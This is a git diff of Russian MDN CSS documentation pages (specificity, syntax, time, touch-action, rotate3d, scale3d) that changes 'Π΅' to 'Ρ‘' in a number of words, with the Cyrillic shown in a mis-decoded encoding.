<h3 id="НС_ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅_-_not()">НС ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ - <code>:not()</code></h3>
-<p>ΠžΡ‚Ρ€ΠΈΡ†Π°ΡŽΡ‰ΠΈΠΉ псСвдокласс <code>:not</code> <em>Π½Π΅ учитываСтся</em> ΠΊΠ°ΠΊ псСвдокласс ΠΏΡ€ΠΈ расчСтС спСцифичности. Однако сСлСкторы, располоТСнныС Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>:not</code>, ΠΏΡ€ΠΈ подсчСтС количСства <a href="#selector-type">ΠΏΠΎ Ρ‚ΠΈΠΏΠ°ΠΌ сСлСкторов</a> Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ сСлСкторы ΠΈ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ.</p>
+<p>ΠžΡ‚Ρ€ΠΈΡ†Π°ΡŽΡ‰ΠΈΠΉ псСвдокласс <code>:not</code> <em>Π½Π΅ учитываСтся</em> ΠΊΠ°ΠΊ псСвдокласс ΠΏΡ€ΠΈ расчётС спСцифичности. Однако сСлСкторы, располоТСнныС Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>:not</code>, ΠΏΡ€ΠΈ подсчётС количСства <a href="#selector-type">ΠΏΠΎ Ρ‚ΠΈΠΏΠ°ΠΌ сСлСкторов</a> Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ сСлСкторы ΠΈ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ.</p>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ CSS ...</p>
@@ -138,7 +138,7 @@ div:not(.outer) p {
}
</pre>
-<p>... ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ ΠΊ Ρ‚Π°ΠΊΠΎΠΌΡƒ HTML ...</p>
+<p>... ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΉ ΠΊ Ρ‚Π°ΠΊΠΎΠΌΡƒ HTML ...</p>
<pre class="brush: html">&lt;div class="outer"&gt;
&lt;p&gt;Π­Ρ‚ΠΎ div.outer&lt;/p&gt;
@@ -168,7 +168,7 @@ div:not(.outer) p {
}
</pre>
-<p>... ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹Π΅ ΠΊ Π½ΠΈΠΆΠ΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ ...</p>
+<p>... ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Π΅ ΠΊ Π½ΠΈΠΆΠ΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ ...</p>
<pre class="brush: html">&lt;p id="foo"&gt;Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€.&lt;/p&gt;
</pre>
@@ -229,7 +229,7 @@ h1 {
<p><span style="color: #800080;">Π’ΠΎΡ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ!</span></p>
-<p>ΠŸΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ сСлСктор <code>h1</code> нСпосрСдствСнно соотвСтствуСт элСмСнту, Π° ΡΡ‚ΠΈΠ»ΡŒ, Π·Π°Π΄Π°ΡŽΡ‰ΠΈΠΉ Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚, всСго лишь унаслСдован ΠΎΡ‚ родитСля.</p>
+<p>ΠŸΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ сСлСктор <code>h1</code> нСпосрСдствСнно соотвСтствуСт элСмСнту, Π° ΡΡ‚ΠΈΠ»ΡŒ, Π·Π°Π΄Π°ΡŽΡ‰ΠΈΠΉ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚, всСго лишь унаслСдован ΠΎΡ‚ родитСля.</p>
<h2 id="Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ_информация">Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ информация</h2>
diff --git a/files/ru/web/css/syntax/index.html b/files/ru/web/css/syntax/index.html
index ead0688e79..18803ab95c 100644
--- a/files/ru/web/css/syntax/index.html
+++ b/files/ru/web/css/syntax/index.html
@@ -12,12 +12,12 @@ original_slug: Web/CSS/Бинтаксис
<ul>
<li><strong>Бвойство</strong> (<em>property</em>) β€” ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ дСйствия, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΎ ΠΊ элСмСнту (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ†Π²Π΅Ρ‚, ΠΈΠ»ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, ΠΈ Ρ‚.Π΄.).</li>
- <li><strong>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</strong> (<em>value</em>) β€” описываСт, ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π½Π½ΠΎ <em>свойство</em> Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ. <span id="result_box" lang="ru"><span class="hps">КаТдоС свойство ΠΈΠΌΠ΅Π΅Ρ‚</span> <span class="hps">Π½Π°Π±ΠΎΡ€ допустимых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ</span><span>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ…</span> <span class="hps">Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ</span><span>, Π° Ρ‚Π°ΠΊΠΆΠ΅</span> <span class="hps">сСмантичСский</span> <span class="hps">смысл,</span> <span class="hps">Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ</span> Π΄Π²ΠΈΠΆΠΊΠΎΠΌ <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</span></span></li>
+ <li><strong>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</strong> (<em>value</em>) β€” описываСт, ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π½Π½ΠΎ <em>свойство</em> Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ. <span id="result_box" lang="ru"><span class="hps">КаТдоС свойство ΠΈΠΌΠ΅Π΅Ρ‚</span> <span class="hps">Π½Π°Π±ΠΎΡ€ допустимых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ</span><span>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ…</span> <span class="hps">Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ</span><span>, Π° Ρ‚Π°ΠΊΠΆΠ΅</span> <span class="hps">сСмантичСский</span> <span class="hps">смысл,</span> <span class="hps">Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ</span> Π΄Π²ΠΈΠΆΠΊΠΎΠΌ <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</span></span></li>
</ul>
<h2 id="ОбъявлСния_CSS">ОбъявлСния CSS</h2>
-<p>Π—Π°Π΄Π°Π½ΠΈΠ΅ CSS свойствам ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ β€” это основная функция CSS. ΠŸΠ°Ρ€Π° свойство-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ называСтся <em>объявлСниСм</em>. Π Π°Π±ΠΎΡ‚Π° CSS Π΄Π²ΠΈΠΆΠΊΠ° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² поискС соотвСтствий ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½ΠΈΡΠΌΠΈΒ ΡΡ‚ΠΈΠ»Π΅ΠΉ ΠΈ элСмСнтом на страницС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ этот элСмСнт.</p>
+<p>Π—Π°Π΄Π°Π½ΠΈΠ΅ CSS свойствам ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ β€” это основная функция CSS. ΠŸΠ°Ρ€Π° свойство-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ называСтся <em>объявлСниСм</em>. Π Π°Π±ΠΎΡ‚Π° CSS Π΄Π²ΠΈΠΆΠΊΠ° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² поискС соотвСтствий ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½ΠΈΡΠΌΠΈΒ ΡΡ‚ΠΈΠ»Π΅ΠΉ ΠΈ элСмСнтом на страницС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ этот элСмСнт.</p>
<p>И свойство, ΠΈ значСния рСгистрозависимы. ΠŸΠ°Ρ€Π° свойство-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ раздСляСтся Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ, '<code>:</code>' (<code>U+003A COLON</code>), Π° ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Π΄ΠΎ, ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΈ послС свойства ΠΈΠ»ΠΈ значСния ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ.</p>
@@ -31,11 +31,11 @@ original_slug: Web/CSS/Бинтаксис
<p><a href="/@api/deki/files/6165/=css_syntax_-_block.png"><img alt="css syntax - block.png" class="default internal" src="/@api/deki/files/6165/=css_syntax_-_block.png" style="border: 1px solid black; padding: 1em;"></a></p>
-<p>Π’Π°ΠΊΠΈΠ΅ Π±Π»ΠΎΠΊΠΈ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <strong>Π±Π»ΠΎΠΊΠ°ΠΌΠΈ объявлСний</strong>, ΠΈ объявлСния Π² Π½ΠΈΡ…Β Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ с запятой, '<code>;</code>' (<code>U+003B SEMICOLON</code>). Π‘Π»ΠΎΠΊ объявлСний ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пустым,Β Ρ‚.Π΅. Π½Π΅ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ объявлСний. ΠŸΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ объявлСниями ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ. ПослСднСС объявлСниС Π±Π»ΠΎΠΊΠ° Π½Π΅ нуТдаСтся Π² Ρ‚ΠΎΡ‡ΠΊΠ΅ с запятой, хотя считаСтся Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΌ Ρ‚ΠΎΠ½ΠΎΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Π΅ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ Π΄ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΡƒΠΏΡƒΡ‰Π΅Π½ΠΈΠ΅ этого Π·Π½Π°ΠΊΠ° ΠΏΡ€ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ объявлСния Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
+<p>Π’Π°ΠΊΠΈΠ΅ Π±Π»ΠΎΠΊΠΈ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <strong>Π±Π»ΠΎΠΊΠ°ΠΌΠΈ объявлСний</strong>, ΠΈ объявлСния Π² Π½ΠΈΡ…Β Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ с запятой, '<code>;</code>' (<code>U+003B SEMICOLON</code>). Π‘Π»ΠΎΠΊ объявлСний ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пустым,Β Ρ‚.Π΅. Π½Π΅ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ объявлСний. ΠŸΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ объявлСниями ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ. ПослСднСС объявлСниС Π±Π»ΠΎΠΊΠ° Π½Π΅ нуТдаСтся Π² Ρ‚ΠΎΡ‡ΠΊΠ΅ с запятой, хотя считаСтся Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΌ Ρ‚ΠΎΠ½ΠΎΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‘ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ Π΄ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΡƒΠΏΡƒΡ‰Π΅Π½ΠΈΠ΅ этого Π·Π½Π°ΠΊΠ° ΠΏΡ€ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ объявлСния Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
<p><img alt="css syntax - declarations block.png" class="default internal" src="/@api/deki/files/6166/=css_syntax_-_declarations_block.png" style="border: 1px solid black; padding: 1em;"></p>
-<div class="note">Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ Π±Π»ΠΎΠΊΠ° объявлСний CSS, Ρ‚.Β Π΅. объявлСния, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅Β Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ с запятой.Β Π‘Π»ΠΎΠΊ объявлСний ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° style HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π±Π΅Π· Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобок.</div>
+<div class="note">Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ Π±Π»ΠΎΠΊΠ° объявлСний CSS, Ρ‚.Β Π΅. объявлСния, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅Β Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ с запятой.Β Π‘Π»ΠΎΠΊ объявлСний ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° style HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π±Π΅Π· Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобок.</div>
<h2 id="CSS_rulesets">CSS rulesets</h2>
diff --git a/files/ru/web/css/time/index.html b/files/ru/web/css/time/index.html
index 6d15f3733d..f892300dc1 100644
--- a/files/ru/web/css/time/index.html
+++ b/files/ru/web/css/time/index.html
@@ -2,7 +2,7 @@
title: <time>
slug: Web/CSS/time
tags:
- - ВСрстка
+ - Вёрстка
- Π’ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ…
- врСмя
translation_of: Web/CSS/time
@@ -46,7 +46,7 @@ translation_of: Web/CSS/time
<h3 id="НСвалидноС_врСмя">НСвалидноС врСмя</h3>
-<pre class="example-bad">0 Π₯отя ноль Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ Π±Π΅Π· Π΅Π΄ΠΈΠ½ΠΈΡ† измСрСния для &lt;length&gt;, это Π½Π΅Π²Π°Π»ΠΈΠ΄Π½ΠΎ для &lt;time&gt;.
+<pre class="example-bad">0 Π₯отя ноль Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½ Π±Π΅Π· Π΅Π΄ΠΈΠ½ΠΈΡ† измСрСния для &lt;length&gt;, это Π½Π΅Π²Π°Π»ΠΈΠ΄Π½ΠΎ для &lt;time&gt;.
12.0 Π­Ρ‚ΠΎ &lt;number&gt;, Π° Π½Π΅ &lt;time&gt;, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½Π° Π΅Π΄ΠΈΠ½ΠΈΡ†Π° измСрСния.
7 ms ΠŸΡ€ΠΎΠ±Π΅Π» ΠΌΠ΅ΠΆΠ΄Ρƒ числом ΠΈ Π΅Π΄ΠΈΠ½ΠΈΡ†Π΅ΠΉ измСрСния Π½Π΅ допускаСтся.
</pre>
diff --git a/files/ru/web/css/touch-action/index.html b/files/ru/web/css/touch-action/index.html
index 5efacb4f53..1aa97b70b9 100644
--- a/files/ru/web/css/touch-action/index.html
+++ b/files/ru/web/css/touch-action/index.html
@@ -25,7 +25,7 @@ touch-action: initial;
touch-action: unset;
</pre>
-<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ТСсты ΠΏΠ°Π½ΠΎΡ€Π°ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠ° ΠΈ ΡΡƒΠΆΠ°ΡŽΡ‰ΠΈΠΉ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ. ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅Β  {{domxref("Pointer_events", "Pointer events", "", 1)}} ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ событиС {{domxref("HTMLElement/pointercancel_event", "pointercancel")}}, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°Ρ‡Π½Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚Π°Ρ‡ ТСст.Β Π―Π²Π½ΠΎ указывая ТСсты ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ своС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ для ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ ТСстов благодаря ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΈΠ²Π°Π½ΠΈΡŽ событий  {{domxref("HTMLElement/pointermove_event", "pointermove")}} ΠΈ {{domxref("HTMLElement/pointerup_event", "pointerup")}}. Applications using {{domxref("Touch_events", "Touch events", "", 1)}} disable the browser handling of gestures by calling {{domxref("Event.preventDefault","preventDefault()")}}, but should also use <code>touch-action</code> to ensure the browser knows the intent of the application before any event listeners have been invoked.</p>
+<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ТСсты ΠΏΠ°Π½ΠΎΡ€Π°ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠ° ΠΈ ΡΡƒΠΆΠ°ΡŽΡ‰ΠΈΠΉ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ. ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅Β  {{domxref("Pointer_events", "Pointer events", "", 1)}} ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ событиС {{domxref("HTMLElement/pointercancel_event", "pointercancel")}}, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°Ρ‡Π½Ρ‘Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚Π°Ρ‡ ТСст.Β Π―Π²Π½ΠΎ указывая ТСсты ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ своё ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ для ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ ТСстов благодаря ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΈΠ²Π°Π½ΠΈΡŽ событий  {{domxref("HTMLElement/pointermove_event", "pointermove")}} ΠΈ {{domxref("HTMLElement/pointerup_event", "pointerup")}}. Applications using {{domxref("Touch_events", "Touch events", "", 1)}} disable the browser handling of gestures by calling {{domxref("Event.preventDefault","preventDefault()")}}, but should also use <code>touch-action</code> to ensure the browser knows the intent of the application before any event listeners have been invoked.</p>
<p>When a gesture is started, the browser intersects the <strong>touch-action</strong>Β values of the touched element and all its ancestors up to the one that implements the gesture (in other words, the first containing scrolling element). This means that in practice, <strong>touch-action</strong>Β is typically applied only to individual elements which have some custom behavior, without needing to specify <strong>touch-action</strong> explicitly on any of that element's descendants. After a gesture has started, changes toΒ <strong>touch-action</strong>Β values will not have any impact on the behavior of the current gesture.</p>
diff --git a/files/ru/web/css/transform-function/rotate3d()/index.html b/files/ru/web/css/transform-function/rotate3d()/index.html
index aeadb96e60..77c045ef84 100644
--- a/files/ru/web/css/transform-function/rotate3d()/index.html
+++ b/files/ru/web/css/transform-function/rotate3d()/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/transform-function/rotate3d()
---
<div>{{CSSRef}}</div>
-<div>Ѐункция <a href="/en-US/docs/Web/CSS">CSS</a>Β <strong><code>rotate3d()</code>Β </strong>трансформируСт элСмСнт Π±Π΅Π· Π΄Π΅Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, вращая Π΅Π³ΠΎ Π² Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС Π²ΠΎΠΊΡ€ΡƒΠ³ зафиксированной оси.Β Π•Ρ‘Β Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ являСтся Ρ‚ΠΈΠΏ {{cssxref ("&lt;transform-function&gt;")}}.</div>
+<div>Ѐункция <a href="/en-US/docs/Web/CSS">CSS</a>Β <strong><code>rotate3d()</code>Β </strong>трансформируСт элСмСнт Π±Π΅Π· Π΄Π΅Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, вращая Π΅Π³ΠΎ Π² Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС Π²ΠΎΠΊΡ€ΡƒΠ³ зафиксированной оси.Β Π•Ρ‘Β Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ являСтся Ρ‚ΠΈΠΏ {{cssxref ("&lt;transform-function&gt;")}}.</div>
<div>Β </div>
diff --git a/files/ru/web/css/transform-function/scale3d()/index.html b/files/ru/web/css/transform-function/scale3d()/index.html
index acfcf77edf..e66adb526b 100644
--- a/files/ru/web/css/transform-function/scale3d()/index.html
+++ b/files/ru/web/css/transform-function/scale3d()/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/transform-function/scale3d()
---
<div>{{CSSRef}}</div>
-<p><code>scale3d()</code>Β CSS функция измСняСт Ρ€Π°Π·ΠΌΠ΅Ρ€ элСмСнта. Благодаря Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Π΅Β ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉΒ Π²Π΅ΠΊΡ‚ΠΎΡ€ΠΎΠΌ, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ Π² Ρ€Π°Π·Π½Ρ‹Ρ… ΠΌΠ°ΡΡˆΡ‚Π°Π±Π°Ρ….</p>
+<p><code>scale3d()</code>Β CSS функция измСняСт Ρ€Π°Π·ΠΌΠ΅Ρ€ элСмСнта. Благодаря Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Π΅Β ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉΒ Π²Π΅ΠΊΡ‚ΠΎΡ€ΠΎΠΌ, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ Π² Ρ€Π°Π·Π½Ρ‹Ρ… ΠΌΠ°ΡΡˆΡ‚Π°Π±Π°Ρ….</p>
